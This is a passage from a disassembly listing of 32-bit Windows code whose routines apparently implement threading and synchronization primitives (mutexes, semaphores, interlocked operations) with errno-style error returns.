[esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 27408C9h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 nop call near ptr 2740897h cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h nop call near ptr 2700000h test eax, eax jnz short loc_433ED5 nop call near ptr 27C08AAh mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 2740897h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h nop call near ptr 2700000h test eax, eax jnz short loc_433F65 nop call near ptr 27C08AAh mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 call near ptr 2830386h nop xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2740202h test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 2840000h test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax call near ptr 27705EDh nop cmp eax, 102h jnz short loc_434125 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 7EB147E8h, 30899077h, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2740000h test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2740000h test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax call near ptr 27705EDh nop cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2740000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510940 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510940 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 2FC25DE8h, 0C0859002h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j nop call near ptr 27307B3h cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax call near ptr 2730000h nop cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103B4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 275037Eh test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push 